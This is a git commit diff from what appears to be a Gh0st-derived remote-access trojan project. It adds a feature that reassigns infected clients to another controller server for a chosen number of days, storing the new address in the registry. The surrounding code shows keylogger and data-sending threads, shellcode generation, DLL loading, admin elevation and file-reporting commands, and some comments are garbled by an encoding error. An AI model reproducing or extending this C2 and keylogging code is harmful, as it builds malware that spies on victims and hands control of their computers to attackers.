Feature: support assigning client to another master

This commit is contained in:
yuanyuanxiang
2025-07-26 14:51:10 +08:00
parent 4a91da0b68
commit d5a1b9fe32
12 changed files with 71 additions and 3 deletions

View File

@@ -3,6 +3,7 @@
#include "stdafx.h"
#include "ClientDll.h"
#include <common/iniFile.h>
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost"
@@ -473,6 +474,17 @@ DWORD WINAPI StartClient(LPVOID lParam)
{
ClientApp& app(*(ClientApp*)lParam);
CONNECT_ADDRESS& settings(*(app.g_Connection));
if (!app.m_bShared)
{
iniFile cfg(CLIENT_PATH);
auto now = time(0);
auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
if (now <= valid_to) {
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port);
}
}
auto list = app.GetSharedMasterList();
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
for (int i=1; i<list.size(); ++i){

View File

@@ -323,8 +323,24 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) {
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
if (v[0].empty() || v[1].empty())
break;
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "master", v[0]);
cfg.SetStr("settings", "port", v[1]);
float days = atof(v[2].c_str());
if (days > 0) {
auto valid_to = time(0) + days*86400;
// overflow after 2038-01-19
cfg.SetStr("settings", "valid_to", std::to_string(valid_to));
}
}
case SHARE_TYPE_YAMA: {
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));

View File

@@ -31,8 +31,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
m_bIsWorking = true;
m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
SetReady(TRUE);
}

View File

@@ -243,6 +243,11 @@ enum
COMMAND_BYE, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
SERVER_EXIT=205, // <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
COMMAND_CC, // CC
COMMAND_ASSIGN_MASTER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_FILE_DETECT, // <20>ļ<EFBFBD>̽<EFBFBD><CCBD>
COMMAND_FILE_REPORT, // <20>ļ<EFBFBD><C4BC>ϱ<EFBFBD>
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
CMD_RUNASADMIN=214, // ADMIN <20><><EFBFBD><EFBFBD>
@@ -460,6 +465,7 @@ enum
enum {
SHARE_TYPE_YAMA = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SHARE_TYPE_HOLDINGHANDS = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
SHARE_TYPE_YAMA_FOREVER = 100, // <20><><EFBFBD>÷<EFBFBD><C3B7><EFBFBD>
};
inline const char* GetClientType(int typ) {

View File

@@ -5,6 +5,7 @@
#define YAMA_PATH "Software\\YAMA"
#define CLIENT_PATH "Software\\ServerD11"
// <20><><EFBFBD>ö<EFBFBD>ȡ<EFBFBD><C8A1>: <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>.
class config
{
private:
@@ -51,6 +52,7 @@ public:
}
};
// <20><><EFBFBD>ö<EFBFBD>ȡ<EFBFBD><C8A1>: ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
class iniFile : public config
{
private:

Binary file not shown.

View File

@@ -303,6 +303,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP);
m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE);
m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH);
m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
@@ -418,6 +419,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_TOOL_REQUEST_AUTH, &CMy2015RemoteDlg::OnToolRequestAuth)
ON_COMMAND(ID_TOOL_INPUT_PASSWORD, &CMy2015RemoteDlg::OnToolInputPassword)
ON_COMMAND(ID_TOOL_GEN_SHELLCODE, &CMy2015RemoteDlg::OnToolGenShellcode)
ON_COMMAND(ID_ONLINE_ASSIGN_TO, &CMy2015RemoteDlg::OnOnlineAssignTo)
END_MESSAGE_MAP()
@@ -1278,6 +1280,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]);
Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]);
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
// 创建一个新的子菜单
CMenu newMenu;
@@ -2995,3 +2998,29 @@ void CMy2015RemoteDlg::OnToolGenShellcode()
SAFE_DELETE_ARRAY(szBuffer);
}
}
void CMy2015RemoteDlg::OnOnlineAssignTo()
{
CInputDialog dlg(this);
dlg.Init("转移主机(到期自动复原)", "输入<IP:PORT>地址:");
dlg.Init2("天数(支持浮点数):", "30");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0)
return;
if (dlg.m_str.GetLength() >= 250) {
MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
return;
}
if (dlg.m_sSecondInput.GetLength() >= 6) {
MessageBox("超出使用时间可输入的字符数限制!", "提示", MB_ICONINFORMATION);
return;
}
BYTE bToken[_MAX_PATH] = { COMMAND_ASSIGN_MASTER };
// 目标主机类型
bToken[1] = SHARE_TYPE_YAMA_FOREVER;
memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength());
bToken[2 + dlg.m_str.GetLength()] = ':';
memcpy(bToken + 2 + dlg.m_str.GetLength() + 1, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength());
SendSelectedCommand(bToken, sizeof(bToken));
}

View File

@@ -196,7 +196,7 @@ public:
CRITICAL_SECTION m_cs;
BOOL isClosed;
CMenu m_MainMenu;
CBitmap m_bmOnline[12];
CBitmap m_bmOnline[13];
uint64_t m_superID;
bool CheckValid(int trail = 14);
afx_msg void OnTimer(UINT_PTR nIDEvent);
@@ -268,4 +268,5 @@ public:
afx_msg void OnToolInputPassword();
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
afx_msg void OnToolGenShellcode();
afx_msg void OnOnlineAssignTo();
};

View File

@@ -389,6 +389,7 @@
<Text Include="..\..\ReadMe.md" />
</ItemGroup>
<ItemGroup>
<Image Include="res\Bitmap\AssignTo.bmp" />
<Image Include="res\Bitmap\authorize.bmp" />
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
<Image Include="res\Bitmap\GrayDesktop.bmp" />

View File

@@ -153,6 +153,7 @@
<Image Include="res\file\Icon_F.ico" />
<Image Include="res\file\Icon_G.ico" />
<Image Include="res\DrawingBoard.ico" />
<Image Include="res\Bitmap\AssignTo.bmp" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.